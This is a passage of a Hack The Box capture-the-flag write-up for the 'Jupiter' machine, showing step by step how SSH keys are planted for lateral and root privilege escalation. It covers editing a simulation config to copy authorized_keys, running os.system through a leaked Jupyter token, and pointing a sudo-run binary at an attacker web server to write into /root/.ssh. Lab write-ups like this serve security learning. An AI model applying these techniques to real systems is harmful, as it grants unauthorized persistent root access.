Now we can edit this yml file to save our ssh key to juno's ssh folder like this

Original file

```
postgres@jupiter /dev/shm (0.378s)
cat network-simulation.yml

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
      - path: /usr/bin/python3
        args: -m http.server 80
        start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
      - path: /usr/bin/curl
        args: -s server
        start_time: 5s
```

And we edit it to

```

postgres@jupiter /dev/shm (0.283s)
cat network-simulation.yml

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
      - path: /usr/bin/python3
        args: -m http.server 80
        start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
      - path: /usr/bin/cp
        args: /dev/shm/authorized_keys /home/juno/.ssh/authorized_keys
        start_time: 5s

```

And wait about 2 min here and u should have this ssh in the juno's folder

Lets ssh in now

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4 (1.99s)
ssh -i pks juno@jupiter.htb
```

```
juno@jupiter:~ (0s)
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Tue Oct 29 09:40:07 AM UTC 2024

System load:          0.01513671875
Usage of /:            81.5% of 12.33GB
Memory usage:          20%
Swap usage:            0%
Processes:             232
Users logged in:       1
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:8ebc
```

```
Expanded Security Maintenance for Applications is not enabled.
```

```
0 updates can be applied immediately.
```

```
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
```

```
The list of available updates is more than a week old.
```

```
juno@jupiter /opt/solar-flares/logs
```

And we are in here is your user.txt

```
juno@jupiter ~ (0.193s)
ls -al

total 52
drwxr-x---  8 juno juno 4096 May  4 2023 .
drwxr-xr-x  4 root root 4096 Mar  7 2023 ..
lrwxrwxrwx  1 juno juno    9 Mar  7 2023 .bash_history -> /dev/null
-rw-r--r--  1 juno juno  220 Jan  6 2022 .bash_logout
-rw-r--r--  1 juno juno 3792 Mar  7 2023 .bashrc
drwx----- 3 juno juno 4096 May  4 2023 .cache
drwxrwxr-x  5 juno juno 4096 Mar  7 2023 .cargo
drwxrwxr-x  5 juno juno 4096 Mar  7 2023 .local
-rw-r--r--  1 juno juno  828 Mar  7 2023 .profile
drwxrwxr-x  6 juno juno 4096 Mar  7 2023 .rustup
drwxrwxr-x 12 juno juno 4096 Mar  9 2023 shadow
-rwxrwxr-x  1 juno juno 174 Apr 14 2023 shadow-simulation.sh
drwx----- 2 juno juno 4096 Mar  7 2023 .ssh
-rw-r----- 1 root juno   33 Oct 29 08:10 user.txt
```

Lateral PrivEsc - 2

So i checked my groups here

```
juno@jupiter:~ (0.098s)
id

uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
```

Lets find all the files with this groups

```
juno@jupiter ~ (0.735s)
find / -group science 2>/dev/null

/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
```

This solar flares has some logs here lets look at those

```
juno@jupiter /opt/solar-flares (0.09s)
cd logs

juno@jupiter /opt/solar-flares/logs (0.097s)
ls

jupyter-2023-03-08-14.log jupyter-2023-03-09-24.log jupyter-2023-04-14-27.log jupyter-2023-05-04-08.log jupyter-2023-05-04-57.log jupyter-2023-06-06-39.log
jupyter-2023-03-08-36.log jupyter-2023-03-09-59.log jupyter-2023-05-04-02.log jupyter-2023-05-04-20.log jupyter-2023-05-05-03.log jupyter-2023-06-07-05.log
jupyter-2023-03-08-37.log jupyter-2023-03-10-25.log jupyter-2023-05-04-04.log jupyter-2023-05-04-31.log jupyter-2023-05-05-54.log jupyter-2024-18-29-10.log
jupyter-2023-03-08-38.log jupyter-2023-03-10-42.log jupyter-2023-05-04-06.log jupyter-2023-05-04-43.log jupyter-2023-05-30-46.log
jupyter-2023-03-09-11.log jupyter-2023-04-13-43.log jupyter-2023-05-04-07.log jupyter-2023-05-04-45.log jupyter-2023-05-30-53.log
```

Lets see the latest one here

```
juno@jupiter /opt/solar-flares/logs (0.300s)
cat jupyter-2024-10-29-10.log

[W 08:10:15.900 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 08:10:15.905 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 08:10:15.906 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 08:10:15.906 NotebookApp] http://localhost:8888/?token=b05a33c381f28edbf2dcbdd82ee33f3ace1bb1db369981df
[I 08:10:15.906 NotebookApp] or http://127.0.0.1:8888/?token=b05a33c381f28edbf2dcbdd82ee33f3ace1bb1db369981df
[I 08:10:15.906 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 08:10:15.909 NotebookApp] No web browser found: could not locate runnable browser.
[C 08:10:15.909 NotebookApp]

    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-1174-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=b05a33c381f28edbf2dcbdd82ee33f3ace1bb1db369981df
        or http://127.0.0.1:8888/?token=b05a33c381f28edbf2dcbdd82ee33f3ace1bb1db369981df
[I 09:26:00.282 NotebookApp] 302 GET / (127.0.0.1) 0.520000ms
[I 09:26:00.369 NotebookApp] 302 GET /tree? (127.0.0.1) 0.850000ms
```

Now lets login in with this

The screenshot shows a Jupyter Notebook interface. The top navigation bar includes a logo, 'jupyter', 'Logout', and links for 'Upload' and 'New'. Below the navigation is a toolbar with icons for file operations like 'New', 'Open', 'Save', etc. A dropdown menu is open, showing options like 'File', 'Edit', 'View', 'Insert', 'Cell', 'Kernel', 'Widgets', and 'Help'. The main area displays a list of files in the current directory:

	Name	Last Modified	File size
<input type="checkbox"/>	0		
<input type="checkbox"/>	log	3 hours ago	
<input type="checkbox"/>	flares.ipynb	2 years ago	234 kB
<input type="checkbox"/>	Untitled.ipynb	Running an hour ago	996 B
<input type="checkbox"/>	flares.csv	2 years ago	646 kB
<input type="checkbox"/>	flares.csv	2 years ago	708 kB
<input type="checkbox"/>	flares.html	2 years ago	10.2 kB
<input type="checkbox"/>	map.jpg	2 years ago	1.01 MB
<input type="checkbox"/>	mlflares.csv	2 years ago	26.7 kB
<input type="checkbox"/>	start.sh	2 years ago	147 B
<input type="checkbox"/>	xflares.csv	2 years ago	1.99 kB

Now lets see make a new file here

The screenshot shows a Jupyter Notebook interface with a single code cell containing the following Python code:

```
In [2]: print("Hello, World")
Hello, World
```

The cell has been run successfully, as indicated by the output below it.

Now lets see if we can run any system commands here

```
import os; os.system("id")
```

jupyter Untitled1 Last Checkpoint: 13 minutes ago (unsaved changes)

File Edit View Insert Cell Kernel Widgets Help

In [3]: `import os; os.system("id")`

Out[3]: `uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)`

In []:

Trusted Python 3 (ipykernel) Logout

Ok so we are jovian with this
Lets just copy over our ssh key to its .ssh folder

```
import os; os.system("mkdir /home/jovian/.ssh/; cp /dev/shm/authorized_keys /home/jovian/.ssh/.")
```

jupyter Untitled Last Checkpoint: an hour ago (autosaved)

File Edit View Insert Cell Kernel Widgets Help

In [5]: `import os; os.system("mkdir /home/jovian/.ssh/; cp /dev/shm/authorized_keys /home/jovian/.ssh/.")`

0

In []:

Not Trusted Python 3 (ipykernel) Logout

Now lets ssh in as javion

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)+4 (2.063s)
ssh -i pks jovian@jupiter.htb

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

jovian@jupiter:~ (0s)
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information as of Tue Oct 29 09:50:20 AM UTC 2024

 System load:          0.0
 Usage of /:           81.6% of 12.33GB
 Memory usage:         26%
 Swap usage:           0%
 Processes:            238
 Users logged in:      2
 IPv4 address for eth0: 10.10.11.216
 IPv6 address for eth0: dead:beef::250:56ff:feb9:8ebc

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet

jovian@jupiter /tmp
|
```

And we are in

Vertical PrivEsc

I checked the sudo permission here first

```
jovian@jupiter ~ (0.186s)
sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
```

Lets run this file

```
jovian@jupiter:~ (0.146s)
sudo /usr/local/bin/sattrack

Satellite Tracking System
Configuration file has not been found. Please try again!
```

Lets find this config file here

```
jovian@jupiter ~ (0.388s)
find / 2>/dev/null | grep sattrack

/usr/local/share/sattrack
/usr/local/share/sattrack/config.json
/usr/local/share/sattrack/map.json
/usr/local/share/sattrack/earth.png
/usr/local/bin/sattrack
```

So lets run it with this directory

```
jovian@jupiter ~ (0.17s)
sudo /usr/local/bin/sattrack /usr/local/share/sattrack

Satellite Tracking System
Configuration file has not been found. Please try again!
```

It doesnt like this lets run strace on this to find what it needs

```
jovian@jupiter /usr/local/share/sattrack (0.801s)
strace sattrack

mprotect(0x560087855000, 4096, PROT_READ) = 0
mprotect(0x7fb0f7913000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fb0f78d1000, 28927)          = 0
getrandom("\x62\xb0\x23\xec\xde\x19\x9f\xd7", 8, GRND_NONBLOCK) = 8
brk(NULL)                                = 0x5600879fe000
brk(0x560087a1f000)                      = 0x560087a1f000
getrandom("\xc2", 1, GRND_NONBLOCK)        = 1
newfstatat(AT_FDCWD, "/etc/gnutls/config", 0x7ffc814494e0, 0) = -1 EACCES
brk(0x560087a4d000)                      = 0x560087a4d000
futex(0x7fb0f76e777c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x3)}, 0) = 0
write(1, "Satellite Tracking System\n", 26Satellite Tracking System
) = 26
newfstatat(AT_FDCWD, "/tmp/config.json", 0x7ffc814496c0, 0) = -1 ENOENT
write(1, "Configuration file has not been found.\n", 26Configuration file
) = 57
getpid()                                  = 12327
exit_group(1)                             = ?
+++ exited with 1 +++
```

Now lets copy over everything that this folder has to /tmp

```
jovian@jupiter:/usr/local/share/sattrack (0.193s)
rm -rf /tmp/config.json

jovian@jupiter /usr/local/share/sattrack (0.157s)
cp * /tmp/.

jovian@jupiter /usr/local/share/sattrack (0.187s)
cd /tmp

jovian@jupiter /tmp (0.192s)
ls
config.json                               tmp.2n8mGlr0aA
earth.png                                 tmp.AiPGGafara
map.json                                  tmp.GFxuC2tx8
snap-private-tmp                          tmp.kGLq21WEqe
systemd-private-b9cc637837b745c89126958a5a2abd4d-grafana-server.service-ggkNZm tmp.n4UpL005u6
systemd-private-b9cc637837b745c89126958a5a2abd4d-ModemManager.service-RRzBd1 tmp.qRQvJbnBZW
systemd-private-b9cc637837b745c89126958a5a2abd4d-systemd-logind.service-helvIw tmp.UvacBLDbEh
systemd-private-b9cc637837b745c89126958a5a2abd4d-systemd-resolved.service-2ytfKF tmp.wZL0X9KWN6
systemd-private-b9cc637837b745c89126958a5a2abd4d-systemd-timesyncd.service-ZUzJlx vmware-root_799-4248614968
tple
```

Now lets run it

```
jovian@jupiter /usr/local/share/sattrack (1m 0.17s)
sudo /usr/local/bin/sattrack

Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt

Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/noaa.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle
Could not resolve host: celestrak.org
Satellites loaded
No sats
```

Lets see this config file here here

```
jovian@jupiter /tmp (0.172s)
cat config.json

{
    "tleroot": "/tmp/tle/",
    "tlefile": "weather.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",

    "tlesources": [
        "http://celestrak.org/NORAD/elements/weather.txt",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
    ],

    "updatePeriod": 1000,

    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },

    "show": [
    ],

    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
    ]
}
```

So this is just downloading file then saving em to /tmp/tle
We can easily exploit it to save our ssh key to /root/.ssh like this

So i changed the name of my ssh public key to authorized_keys and started a python web server

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4 (0.025s)
mv pks.pub authorized_keys

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4
sudo python3 -m http.server 80
[sudo] password for pks:
Sorry, try again.
[sudo] password for pks:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

And now lets edit the file like this

```
jovian@jupiter /tmp (0.134s)
cat config.json

{
    "tleroot": "/root/.ssh/",
    "tlefile": "weather.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",

    "tlesources": [
        "http://10.10.16.21/authorized_keys",
    ],

    "updatePeriod": 1000,

    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },

    "show": [
    ],

    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
    ]
}
```

Now lets see run that sudo command again

```
jovian@jupiter /tmp (0.594s)
sudo /usr/local/bin/sattrack

Satellite Tracking System
Get:0 http://10.10.16.21/authorized_keys
tlefile is not a valid file
```

And it should be saved now

Lets ssh in as root

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Jupiter git:(main)±4 (1.974s)
ssh -i pks root@jupiter.htb
```

```
root@jupiter:~ (0.067s)
```

```
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
```

```
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
```

```
System information as of Tue Oct 29 10:06:00 AM UTC 2024
```

```
System load: 0.0166015625
Usage of /: 81.7% of 12.33GB
Memory usage: 26%
Swap usage: 0%
Processes: 243
Users logged in: 3
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:8ebc
```

```
Expanded Security Maintenance for Applications is not enabled.
```

```
0 updates can be applied immediately.
```

```
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
```

```
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check yo
```

```
root@jupiter ~
```

And here is your root.txt

```
root@jupiter ~ (0.283s)
ls -al

total 40
drwx----- 7 root root 4096 Oct 29 08:10 .
drwxr-xr-x 19 root root 4096 May  4  2023 ..
lwxrwxrwxrwx 1 root root   9 Mar  7  2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 May  4  2023 .cache
drwxr-xr-x 3 root root 4096 May  4  2023 .local
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r----- 1 root root   33 Oct 29 08:10 root.txt
drwx----- 3 root root 4096 May  4  2023 snap
drwx----- 2 root root 4096 Oct 29 10:05 .ssh
drwxr-xr-x 2 root root 4096 May  4  2023 .vim
```

Thanks for reading :)